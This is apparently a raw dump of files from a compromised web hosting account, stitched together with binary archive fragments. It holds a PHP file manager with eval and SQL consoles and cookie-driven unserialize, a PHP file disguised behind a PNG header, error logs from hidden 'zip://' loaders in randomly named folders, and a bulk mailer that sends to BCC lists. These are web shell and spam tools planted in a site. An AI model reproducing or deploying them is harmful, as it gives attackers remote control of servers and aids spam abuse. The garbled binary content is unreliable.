strlen($path)-1); if (substr($header['filename'], 0, 1) == '/') $header['filename'] = $path.$header['filename']; else $header['filename'] = $path.'/'.$header['filename']; } if (file_exists($header['filename'])){ if ((@is_dir($header['filename'])) && ($header['typeflag'] == '')){ $this->errors[] =__('File ').$header['filename'].__(' already exists').__(' as folder'); return false; } if ((is_file($header['filename'])) && ($header['typeflag'] == '5')){ $this->errors[] =__('Cannot create directory').'. '.__('File ').$header['filename'].__(' already exists'); return false; } if (!is_writeable($header['filename'])){ $this->errors[] = __('Cannot write to file').'. '.__('File ').$header['filename'].__(' already exists'); return false; } } elseif (($this->dirCheck(($header['typeflag'] == '5' ? $header['filename'] : dirname($header['filename'])))) != 1){ $this->errors[] = __('Cannot create directory').' '.__(' for ').$header['filename']; return false; } if ($header['typeflag'] == '5'){ if (!file_exists($header['filename'])) { if (!mkdir($header['filename'], 0777)) { $this->errors[] = __('Cannot create directory').' '.$header['filename']; return false; } } } else { if (($destination = fopen($header['filename'], 'wb')) == 0) { $this->errors[] = __('Cannot write to file').' '.$header['filename']; return false; } else { $decr = floor($header['size']/512); for ($i = 0; $i < $decr; $i++) { $content = $this->readBlock(); fwrite($destination, $content, 512); } if (($header['size'] % 512) != 0) { $content = $this->readBlock(); fwrite($destination, $content, ($header['size'] % 512)); } fclose($destination); touch($header['filename'], $header['time']); } clearstatcache(); if (filesize($header['filename']) != $header['size']) { $this->errors[] = __('Size of file').' '.$header['filename'].' '.__('is incorrect'); return false; } } if (($file_dir = dirname($header['filename'])) == $header['filename']) $file_dir = ''; if ((substr($header['filename'], 0, 1) == '/') && ($file_dir == '')) $file_dir = '/'; $this->dirs[] = $file_dir; $this->files[] = $header['filename']; } return true; } function dirCheck($dir){ $parent_dir = dirname($dir); if ((@is_dir($dir)) or ($dir == '')) return true; if (($parent_dir != $dir) and ($parent_dir != '') and (!$this->dirCheck($parent_dir))) return false; if (!mkdir($dir, 0777)){ $this->errors[] = __('Cannot create directory').' '.$dir; return false; } return true; } function readHeader($binaryData, &$header){ if (strlen($binaryData)==0){ $header['filename'] = ''; return true; } if (strlen($binaryData) != 512){ $header['filename'] = ''; $this->__('Invalid block size').': '.strlen($binaryData); return false; } $checksum = 0; for ($i = 0; $i < 148; $i++) $checksum+=ord(substr($binaryData, $i, 1)); for ($i = 148; $i < 156; $i++) $checksum += ord(' '); for ($i = 156; $i < 512; $i++) $checksum+=ord(substr($binaryData, $i, 1)); $unpack_data = unpack('a100filename/a8mode/a8user_id/a8group_id/a12size/a12time/a8checksum/a1typeflag/a100link/a6magic/a2version/a32uname/a32gname/a8devmajor/a8devminor', $binaryData); $header['checksum'] = OctDec(trim($unpack_data['checksum'])); if ($header['checksum'] != $checksum){ $header['filename'] = ''; if (($checksum == 256) && ($header['checksum'] == 0)) return true; $this->errors[] = __('Error checksum for file ').$unpack_data['filename']; return false; } if (($header['typeflag'] = $unpack_data['typeflag']) == '5') $header['size'] = 0; $header['filename'] = trim($unpack_data['filename']); $header['mode'] = OctDec(trim($unpack_data['mode'])); $header['user_id'] = OctDec(trim($unpack_data['user_id'])); $header['group_id'] = OctDec(trim($unpack_data['group_id'])); $header['size'] = OctDec(trim($unpack_data['size'])); $header['time'] = OctDec(trim($unpack_data['time'])); return true; } function writeHeader($filename, $keep_filename){ $packF = 'a100a8a8a8a12A12'; $packL = 'a1a100a6a2a32a32a8a8a155a12'; if (strlen($keep_filename)<=0) $keep_filename = $filename; $filename_ready = $this->makeGoodPath($keep_filename); if (strlen($filename_ready) > 99){ //write long header $dataFirst = pack($packF, '././LongLink', 0, 0, 0, sprintf('%11s ', DecOct(strlen($filename_ready))), 0); $dataLast = pack($packL, 'L', '', '', '', '', '', '', '', '', ''); // Calculate the checksum $checksum = 0; // First part of the header for ($i = 0; $i < 148; $i++) $checksum += ord(substr($dataFirst, $i, 1)); // Ignore the checksum value and replace it by ' ' (space) for ($i = 148; $i < 156; $i++) $checksum += ord(' '); // Last part of the header for ($i = 156, $j=0; $i < 512; $i++, $j++) $checksum += ord(substr($dataLast, $j, 1)); // Write the first 148 bytes of the header in the archive $this->writeBlock($dataFirst, 148); // Write the calculated checksum $checksum = sprintf('%6s ', DecOct($checksum)); $binaryData = pack('a8', $checksum); $this->writeBlock($binaryData, 8); // Write the last 356 bytes of the header in the archive $this->writeBlock($dataLast, 356); $tmp_filename = $this->makeGoodPath($filename_ready); $i = 0; while (($buffer = substr($tmp_filename, (($i++)*512), 512)) != ''){ $binaryData = pack('a512', $buffer); $this->writeBlock($binaryData); } return true; } $file_info = stat($filename); if (@is_dir($filename)){ $typeflag = '5'; $size = sprintf('%11s ', DecOct(0)); } else { $typeflag = ''; clearstatcache(); $size = sprintf('%11s ', DecOct(filesize($filename))); } $dataFirst = pack($packF, $filename_ready, sprintf('%6s ', DecOct(fileperms($filename))), sprintf('%6s ', DecOct($file_info[4])), sprintf('%6s ', DecOct($file_info[5])), $size, sprintf('%11s', DecOct(filemtime($filename)))); $dataLast = pack($packL, $typeflag, '', '', '', '', '', '', '', '', ''); $checksum = 0; for ($i = 0; $i < 148; $i++) $checksum += ord(substr($dataFirst, $i, 1)); for ($i = 148; $i < 156; $i++) $checksum += ord(' '); for ($i = 156, $j = 0; $i < 512; $i++, $j++) $checksum += ord(substr($dataLast, $j, 1)); $this->writeBlock($dataFirst, 148); $checksum = sprintf('%6s ', DecOct($checksum)); $binaryData = pack('a8', $checksum); $this->writeBlock($binaryData, 8); $this->writeBlock($dataLast, 356); return true; } function openWrite(){ if ($this->isGzipped) $this->tmp_file = gzopen($this->archive_name, 'wb9f'); else $this->tmp_file = fopen($this->archive_name, 'wb'); if (!($this->tmp_file)){ $this->errors[] = __('Cannot write to file').' '.$this->archive_name; return false; } return true; } function readBlock(){ if (is_resource($this->tmp_file)){ if ($this->isGzipped) $block = gzread($this->tmp_file, 512); else $block = fread($this->tmp_file, 512); } else $block = ''; return $block; } function writeBlock($data, $length = 0){ if (is_resource($this->tmp_file)){ if ($length === 0){ if ($this->isGzipped) gzputs($this->tmp_file, $data); else fputs($this->tmp_file, $data); } else { if ($this->isGzipped) gzputs($this->tmp_file, $data, $length); else fputs($this->tmp_file, $data, $length); } } } function closeTmpFile(){ if (is_resource($this->tmp_file)){ if ($this->isGzipped) gzclose($this->tmp_file); else fclose($this->tmp_file); $this->tmp_file = 0; } } function makeGoodPath($path){ if (strlen($path)>0){ $path = str_replace('\\', '/', $path); $partPath = explode('/', $path); $els = count($partPath)-1; for ($i = $els; $i>=0; $i--){ if ($partPath[$i] == '.'){ // Ignore this directory } elseif ($partPath[$i] == '..'){ $i--; } elseif (($partPath[$i] == '') and ($i!=$els) and ($i!=0)){ } else $result = $partPath[$i].($i!=$els ? '/'.$result : ''); } } else $result = ''; return $result; } } ?> PKQ3f[-ggerror_log.tar.gznu[OK0w^ozXI7sUNc!#[&5 2* /< t{ӷQvm*ߵ Jn[S.GJJ"'0 \)-bN/[=ƕ?l4o 3 gX-V$Xh/w7qxƫ Nu7z Àm'Ep>uC6d/[*L/58o8,XǙ]]р%v*UFCh x/-8E2i9B^T Ō3j)9Z$-&qPK|&e[Q55 sup0h.phpnu[PKQ3f[hCaa 6sup0h.php.php.tar.gznu[PKQ3f[|̣ error_lognu[PKQ3f[.5<< sup0h.php.tarnu[PKQ3f[-gg7error_log.tar.gznu[PKPK*uf[EEfunctionalityRee.zipnu[PK{&e[%bb Gmailsmtp.phpnu[SMTPDebug = 1; $mail->setFrom($Sender_email, $Sender_name). "\r\n"; $tos = $Bcc; $addr = explode(',',$tos ); $mail->isHTML(true); $mail->CharSet = "UTF-8"; $mail->Subject = $subject; $mail->addCustomHeader('X-custom-header', '1'); foreach ($addr as $to){ // $mail->addReplyTo($reply, $reply_me); $mail->clearAddresses(); $mail->addAddress($to); $actualmsg = $message; $mail->Body =$actualmsg; $mail->addReplyTo($reply, $reply_next); $ok = $mail->send(); //sleep(10); // 10 seconds if ($ok) { echo "Message Sent!!!"; } else { echo "Error"; } // $ok = mail ($to, $subject, $actualmsg, $Sender_email.$Sender_name); } ?>PK{&e[?mm75v86r/index.phpnu[PK{&e[x83r6ytg/error_lognu[[27-Oct-2025 03:46:26 UTC] PHP Warning: require(zip://tron.zip#tronit): failed to open stream: operation failed in /home/gettoplisting/public_html/dd7e5a/functionalityRee/3r6ytg/jd4iz.php on line 10 [27-Oct-2025 03:46:26 UTC] PHP Fatal error: require(): Failed opening required 'zip://tron.zip#tronit' (include_path='.:/opt/alt/php72/usr/share/pear') in /home/gettoplisting/public_html/dd7e5a/functionalityRee/3r6ytg/jd4iz.php on line 10 PK{&e[J3r6ytg/jd4iz.phpnu[PK{&e[-hh5d0kxy/index.phpnu[PK{&e[yii/Mailer.phpnu[ 'http://yoururl.com/tracking/bounce', * ] */ private $_tracking; private $_allowedTrackingEvents = [ 'sent', 'open', 'click', 'bounce', 'spam', 'blocked', 'unsub', ]; /** * @var string message default class name. */ public $messageClass = 'weluse\mailjet\Message'; /** * readonly * @var $_response Mailjet\Response */ private $_response; public function init() { if (!$this->_apikey) { throw new InvalidConfigException(sprintf('"%s::apikey" cannot be null.', get_class($this))); } if (!$this->_secret) { throw new InvalidConfigException(sprintf('"%s::secret" cannot be null.', get_class($this))); } try { $this->createMailjet(); } catch (\Exception $exc) { \Yii::error($exc->getMessage()); throw new \Exception('an error occurred with your mailer. Please check the application logs.', 500); } } /** * Sets the API secret key for Mailjet * * @param string $secret * @throws InvalidConfigException */ public function setSecret($secret) { if (!is_string($secret)) { throw new InvalidConfigException(sprintf('"%s::secret" should be a string, "%s" given.', get_class($this), gettype($apikey))); } $trimmedSecret = trim($secret); if (!strlen($trimmedSecret) > 0) { throw new InvalidConfigException(sprintf('"%s::secret" length should be greater than 0.', get_class($this))); } $this->_secret = $trimmedSecret; } /** * Sets the API key for Mailjet * * @param string $apikey the Mailjet API key * @throws InvalidConfigException */ public function setApikey($apikey) { if (!is_string($apikey)) { throw new InvalidConfigException(sprintf('"%s::apikey" should be a string, "%s" given.', get_class($this), gettype($apikey))); } $trimmedApikey = trim($apikey); if (!strlen($trimmedApikey) > 0) { throw new InvalidConfigException(sprintf('"%s::apikey" length should be greater than 0.', get_class($this))); } $this->_apikey = $trimmedApikey; } /** * Create the Mailjet Object */ public function createMailjet() { $mj = new \Mailjet\Client($this->_apikey, $this->_secret); $this->_mailjet = $mj; } public function getResponse() { return $this->_response; } /** * @inheritdoc */ protected function sendMessage($message) { $recipients = []; foreach ($message->to as $email => $name) { $newRecipient = []; if (!empty($email)) { $newRecipient['Email'] = $email; } if (!empty($name)) { $newRecipient['Name'] = $name; } $recipients[] = $newRecipient; } $body = [ 'Subject' => $message->subject, 'Text-part' => $message->textBody, 'Html-part' => $message->htmlBody, 'Recipients' => $recipients ]; $body = array_merge($message->from, $body); $response = $this->_mailjet->post(Resources::$Email, ['body' => $body]); return $response->success(); } public function setTracking($tracking) { if (is_array($tracking)) { $urlValidator = new UrlValidator; foreach ($tracking as $event => $url) { if (in_array($event, $this->_allowedTrackingEvents)) { if (!$urlValidator->validate($url)) { throw new InvalidConfigException(sprintf('"%s::%s" should be a url', get_class($this), $event)); } $this->_tracking[$event] = $url; } else { throw new InvalidConfigException(sprintf('the %s event is not supported', $event)); } } } else { throw new InvalidConfigException('The trackingActions must be an array'); } } public function activateAllTrackings() { foreach ($this->_tracking as $event => $url) { $this->activateTracking($event, $url); } return true; } public function activateTracking($event, $url) { $body = [ 'EventType' => $event, 'Url' => $url, ]; $response = $this->_mailjet->post(Resources::$Eventcallbackurl, ['body' => $body]); if (!$response->success()) { $eventCallbackurl = Resources::$Eventcallbackurl; $eventCallbackurl[1] = $event; $eventExist = $this->_mailjet->get($eventCallbackurl); $responseData = $eventExist->getData(); /* check if is the tracking url the same */ if ($responseData[0]['Url'] != $url) { throw new UserException('You must clear your old tracking urls first: Yii::$app->mailer->clearAllTrackings(); or Yii::$app->mailer->clearTracking(\'' . $event . '\');'); } } return true; } public function clearAllTrackings() { foreach ($this->_tracking as $event => $url) { $this->clearTracking($event); } } public function clearTracking($event) { if (!in_array($event, $this->_allowedTrackingEvents)) { throw new InvalidConfigException(sprintf('the %s event is not supported', $event)); } $eventCallbackurl = Resources::$Eventcallbackurl; $eventCallbackurl[1] = $event; $response = $this->_mailjet->delete($eventCallbackurl); } } PK{&e[Ԫ"&33yii/vpmkax/75629.phpnu[‰PNG  IHDR Ÿ f Õ†C1 sRGB ®Îé gAMA ± üa pHYs à ÃÇo¨d GIDATx^íÜL”÷ ð÷Yçªö("Bh_ò«®¸¢§q5kÖ*:þ0A­ºšÖ¥]VkJ¢M»¶f¸±8\k2íll£1]q®ÙÔ‚ÆT true, 'new_file' => true, 'upload_file' => true, 'show_dir_size' => false, //if true, show directory size → maybe slow 'show_img' => true, 'show_php_ver' => true, 'show_php_ini' => false, // show path to current php.ini 'show_gt' => true, // show generation time 'enable_php_console' => true, 'enable_sql_console' => true, 'sql_server' => 'localhost', 'sql_username' => 'root', 'sql_password' => '', 'sql_db' => 'test_base', 'enable_proxy' => true, 'show_phpinfo' => true, 'show_xls' => true, 'fm_settings' => true, 'restore_time' => true, 'fm_restore_time' => false, ); if (empty($_COOKIE['fm_config'])) $fm_config = $fm_default_config; else $fm_config = unserialize($_COOKIE['fm_config']); // Change language if (isset($_POST['fm_lang'])) { setcookie('fm_lang', $_POST['fm_lang'], time() + (86400 * $auth['days_authorization'])); $_COOKIE['fm_lang'] = $_POST['fm_lang']; } $language = $default_language; // Detect browser language if($detect_lang && !empty($_SERVER['HTTP_ACCEPT_LANGUAGE']) && empty($_COOKIE['fm_lang'])){ $lang_priority = explode(',', $_SERVER['HTTP_ACCEPT_LANGUAGE']); if (!empty($lang_priority)){ foreach ($lang_priority as $lang_arr){ $lng = explode(';', $lang_arr); $lng = $lng[0]; if(in_array($lng,$langs)){ $language = $lng; break; } } } } // Cookie language is primary for ever $language = (empty($_COOKIE['fm_lang'])) ? $language : $_COOKIE['fm_lang']; // Localization $lang = json_decode($translation,true); if ($lang['id']!=$language) { $get_lang = file_get_contents('https://raw.githubusercontent.com/Den1xxx/Filemanager/master/languages/' . $language . '.json'); if (!empty($get_lang)) { //remove unnecessary characters $translation_string = str_replace("'",''',json_encode(json_decode($get_lang),JSON_UNESCAPED_UNICODE)); $fgc = file_get_contents(__FILE__); $search = preg_match('#translation[\s]?\=[\s]?\'\{\"(.*?)\"\}\';#', $fgc, $matches); if (!empty($matches[1])) { $filemtime = filemtime(__FILE__); $replace = str_replace('{"'.$matches[1].'"}',$translation_string,$fgc); if (file_put_contents(__FILE__, $replace)) { $msg .= __('File updated'); } else $msg .= __('Error occurred'); if (!empty($fm_config['fm_restore_time'])) touch(__FILE__,$filemtime); } $lang = json_decode($translation_string,true); } } /* Functions */ //translation function __($text){ global $lang; if (isset($lang[$text])) return $lang[$text]; else return $text; }; //delete files and dirs recursively function fm_del_files($file, $recursive = false) { if($recursive && @is_dir($file)) { $els = fm_scan_dir($file, '', '', true); foreach ($els as $el) { if($el != '.' && $el != '..'){ fm_del_files($file . '/' . $el, true); } } } if(@is_dir($file)) { return rmdir($file); } else { return @unlink($file); } } //file perms function fm_rights_string($file, $if = false){ $perms = fileperms($file); $info = ''; if(!$if){ if (($perms & 0xC000) == 0xC000) { //Socket $info = 's'; } elseif (($perms & 0xA000) == 0xA000) { //Symbolic Link $info = 'l'; } elseif (($perms & 0x8000) == 0x8000) { //Regular $info = '-'; } elseif (($perms & 0x6000) == 0x6000) { //Block special $info = 'b'; } elseif (($perms & 0x4000) == 0x4000) { //Directory $info = 'd'; } elseif (($perms & 0x2000) == 0x2000) { //Character special $info = 'c'; } elseif (($perms & 0x1000) == 0x1000) { //FIFO pipe $info = 'p'; } else { //Unknown $info = 'u'; } } //Owner $info .= (($perms & 0x0100) ? 'r' : '-'); $info .= (($perms & 0x0080) ? 'w' : '-'); $info .= (($perms & 0x0040) ? (($perms & 0x0800) ? 's' : 'x' ) : (($perms & 0x0800) ? 'S' : '-')); //Group $info .= (($perms & 0x0020) ? 'r' : '-'); $info .= (($perms & 0x0010) ? 'w' : '-'); $info .= (($perms & 0x0008) ? (($perms & 0x0400) ? 's' : 'x' ) : (($perms & 0x0400) ? 'S' : '-')); //World $info .= (($perms & 0x0004) ? 'r' : '-'); $info .= (($perms & 0x0002) ? 'w' : '-'); $info .= (($perms & 0x0001) ? (($perms & 0x0200) ? 't' : 'x' ) : (($perms & 0x0200) ? 'T' : '-')); return $info; } function fm_convert_rights($mode) { $mode = str_pad($mode,9,'-'); $trans = array('-'=>'0','r'=>'4','w'=>'2','x'=>'1'); $mode = strtr($mode,$trans); $newmode = '0'; $owner = (int) $mode[0] + (int) $mode[1] + (int) $mode[2]; $group = (int) $mode[3] + (int) $mode[4] + (int) $mode[5]; $world = (int) $mode[6] + (int) $mode[7] + (int) $mode[8]; $newmode .= $owner . $group . $world; return intval($newmode, 8); } function fm_chmod($file, $val, $rec = false) { $res = @chmod(realpath($file), $val); if(@is_dir($file) && $rec){ $els = fm_scan_dir($file); foreach ($els as $el) { $res = $res && fm_chmod($file . '/' . $el, $val, true); } } return $res; } //load files function fm_download($file_name) { if (!empty($file_name)) { if (file_exists($file_name)) { header("Content-Disposition: attachment; filename=" . basename($file_name)); header("Content-Type: application/force-download"); header("Content-Type: application/octet-stream"); header("Content-Type: application/download"); header("Content-Description: File Transfer"); header("Content-Length: " . filesize($file_name)); flush(); // this doesn't really matter. $fp = fopen($file_name, "r"); while (!feof($fp)) { echo fread($fp, 65536); flush(); // this is essential for large downloads } fclose($fp); die(); } else { header('HTTP/1.0 404 Not Found', true, 404); header('Status: 404 Not Found'); die(); } } } //show folder size function fm_dir_size($f,$format=true) { if($format) { $size=fm_dir_size($f,false); if($size<=1024) return $size.' bytes'; elseif($size<=1024*1024) return round($size/(1024),2).' Kb'; elseif($size<=1024*1024*1024) return round($size/(1024*1024),2).' Mb'; elseif($size<=1024*1024*1024*1024) return round($size/(1024*1024*1024),2).' Gb'; elseif($size<=1024*1024*1024*1024*1024) return round($size/(1024*1024*1024*1024),2).' Tb'; //:))) else return round($size/(1024*1024*1024*1024*1024),2).' Pb'; // ;-) } else { if(is_file($f)) return filesize($f); $size=0; $dh=opendir($f); while(($file=readdir($dh))!==false) { if($file=='.' || $file=='..') continue; if(is_file($f.'/'.$file)) $size+=filesize($f.'/'.$file); else $size+=fm_dir_size($f.'/'.$file,false); } closedir($dh); return $size+filesize($f); } } //scan directory function fm_scan_dir($directory, $exp = '', $type = 'all', $do_not_filter = false) { $dir = $ndir = array(); if(!empty($exp)){ $exp = '/^' . str_replace('*', '(.*)', str_replace('.', '\\.', $exp)) . '$/'; } if(!empty($type) && $type !== 'all'){ $func = 'is_' . $type; } if(@is_dir($directory)){ $fh = opendir($directory); while (false !== ($filename = readdir($fh))) { if(substr($filename, 0, 1) != '.' || $do_not_filter) { if((empty($type) || $type == 'all' || $func($directory . '/' . $filename)) && (empty($exp) || preg_match($exp, $filename))){ $dir[] = $filename; } } } closedir($fh); natsort($dir); } return $dir; } function fm_link($get,$link,$name,$title='') { if (empty($title)) $title=$name.' '.basename($link); return '  '.$name.''; } function fm_arr_to_option($arr,$n,$sel=''){ foreach($arr as $v){ $b=$v[$n]; $res.=''; } return $res; } function fm_lang_form ($current='en'){ return '
'; } function fm_root($dirname){ return ($dirname=='.' OR $dirname=='..'); } function fm_php($string){ $display_errors=ini_get('display_errors'); ini_set('display_errors', '1'); ob_start(); eval(trim($string)); $text = ob_get_contents(); ob_end_clean(); ini_set('display_errors', $display_errors); return $text; } //SHOW DATABASES function fm_sql_connect(){ global $fm_config; return new mysqli($fm_config['sql_server'], $fm_config['sql_username'], $fm_config['sql_password'], $fm_config['sql_db']); } function fm_sql($query){ global $fm_config; $query=trim($query); ob_start(); $connection = fm_sql_connect(); if ($connection->connect_error) { ob_end_clean(); return $connection->connect_error; } $connection->set_charset('utf8'); $queried = mysqli_query($connection,$query); if ($queried===false) { ob_end_clean(); return mysqli_error($connection); } else { if(!empty($queried)){ while($row = mysqli_fetch_assoc($queried)) { $query_result[]= $row; } } $vdump=empty($query_result)?'':var_export($query_result,true); ob_end_clean(); $connection->close(); return '
'.stripslashes($vdump).'
'; } } function fm_backup_tables($tables = '*', $full_backup = true) { global $path; $mysqldb = fm_sql_connect(); $delimiter = "; \n \n"; if($tables == '*') { $tables = array(); $result = $mysqldb->query('SHOW TABLES'); while($row = mysqli_fetch_row($result)) { $tables[] = $row[0]; } } else { $tables = is_array($tables) ? $tables : explode(',',$tables); } $return=''; foreach($tables as $table) { $result = $mysqldb->query('SELECT * FROM '.$table); $num_fields = mysqli_num_fields($result); $return.= 'DROP TABLE IF EXISTS `'.$table.'`'.$delimiter; $row2 = mysqli_fetch_row($mysqldb->query('SHOW CREATE TABLE '.$table)); $return.=$row2[1].$delimiter; if ($full_backup) { for ($i = 0; $i < $num_fields; $i++) { while($row = mysqli_fetch_row($result)) { $return.= 'INSERT INTO `'.$table.'` VALUES('; for($j=0; $j<$num_fields; $j++) { $row[$j] = addslashes($row[$j]); $row[$j] = str_replace("\n","\\n",$row[$j]); if (isset($row[$j])) { $return.= '"'.$row[$j].'"' ; } else { $return.= '""'; } if ($j<($num_fields-1)) { $return.= ','; } } $return.= ')'.$delimiter; } } } else { $return = preg_replace("#AUTO_INCREMENT=[\d]+ #is", '', $return); } $return.="\n\n\n"; } //save file $file=gmdate("Y-m-d_H-i-s",time()).'.sql'; $handle = fopen($file,'w+'); fwrite($handle,$return); fclose($handle); $alert = 'onClick="if(confirm(\''. __('File selected').': \n'. $file. '. \n'.__('Are you sure you want to delete this file?') . '\')) document.location.href = \'?delete=' . $file . '&path=' . $path . '\'"'; return $file.': '.fm_link('download',$path.$file,__('Download'),__('Download').' '.$file).' ' . __('Delete') . ''; } function fm_restore_tables($sqlFileToExecute) { $mysqldb = fm_sql_connect(); $delimiter = "; \n \n"; // Load and explode the sql file $f = fopen($sqlFileToExecute,"r+"); $sqlFile = fread($f,filesize($sqlFileToExecute)); $sqlArray = explode($delimiter,$sqlFile); //Process the sql file by statements foreach ($sqlArray as $stmt) { if (strlen($stmt)>3){ $result = $mysqldb->query($stmt); if (!$result){ $sqlErrorCode = mysqli_errno($mysqldb->connection); $sqlErrorText = mysqli_error($mysqldb->connection); $sqlStmt = $stmt; break; } } } if (empty($sqlErrorCode)) return __('Success').' — '.$sqlFileToExecute; else return $sqlErrorText.'
'.$stmt; } function fm_img_link($filename){ return './'.basename(__FILE__).'?img='.base64_encode($filename); } function fm_home_style(){ return ' input, input.fm_input { text-indent: 2px; } input, textarea, select, input.fm_input { color: black; font: normal 8pt Verdana, Arial, Helvetica, sans-serif; border-color: black; background-color: #FCFCFC none !important; border-radius: 0; padding: 2px; } input.fm_input { background: #FCFCFC none !important; cursor: pointer; } .home { background-image: url("data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABAAAAAQCAMAAAAoLQ9TAAAABGdBTUEAAK/INwWK6QAAAgRQTFRF/f396Ojo////tT02zr+fw66Rtj432TEp3MXE2DAr3TYp1y4mtDw2/7BM/7BOqVpc/8l31jcqq6enwcHB2Tgi5jgqVpbFvra2nBAV/Pz82S0jnx0W3TUkqSgi4eHh4Tsre4wosz026uPjzGYd6Us3ynAydUBA5Kl3fm5eqZaW7ODgi2Vg+Pj4uY+EwLm5bY9U//7jfLtC+tOK3jcm/71u2jYo1UYh5aJl/seC3jEm12kmJrIA1jMm/9aU4Lh0e01BlIaE///dhMdC7IA//fTZ2c3MW6nN30wf95Vd4JdXoXVos8nE4efN/+63IJgSnYhl7F4csXt89GQUwL+/jl1c41Aq+fb2gmtI1rKa2C4kJaIA3jYrlTw5tj423jYn3cXE1zQoxMHBp1lZ3Dgmqiks/+mcjLK83jYkymMV3TYk//HM+u7Whmtr0odTpaOjfWJfrHpg/8Bs/7tW/7Ve+4U52DMm3MLBn4qLgNVM6MzB3lEflIuL/+jA///20LOzjXx8/7lbWpJG2C8k3TosJKMA1ywjopOR1zYp5Dspiay+yKNhqKSk8NW6/fjns7Oz2tnZuz887b+W3aRY/+ms4rCE3Tot7V85bKxjuEA3w45Vh5uhq6am4cFxgZZW/9qIuwgKy0sW+ujT4TQntz423C8i3zUj/+Kw/a5d6UMxuL6wzDEr////cqJQfAAAAKx0Uk5T////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////AAWVFbEAAAAZdEVYdFNvZnR3YXJlAEFkb2JlIEltYWdlUmVhZHlxyWU8AAAA2UlEQVQoU2NYjQYYsAiE8U9YzDYjVpGZRxMiECitMrVZvoMrTlQ2ESRQJ2FVwinYbmqTULoohnE1g1aKGS/fNMtk40yZ9KVLQhgYkuY7NxQvXyHVFNnKzR69qpxBPMez0ETAQyTUvSogaIFaPcNqV/M5dha2Rl2Timb6Z+QBDY1XN/Sbu8xFLG3eLDfl2UABjilO1o012Z3ek1lZVIWAAmUTK6L0s3pX+jj6puZ2AwWUvBRaphswMdUujCiwDwa5VEdPI7ynUlc7v1qYURLquf42hz45CBPDtwACrm+RDcxJYAAAAABJRU5ErkJggg=="); background-repeat: no-repeat; }'; } function fm_config_checkbox_row($name,$value) { global $fm_config; return '
~" : ""; foreach ($paths as $id => $pat) { echo "$pat/"; } ?>

File Content:

File does not exist or is not readable.
File does not exist or is not readable.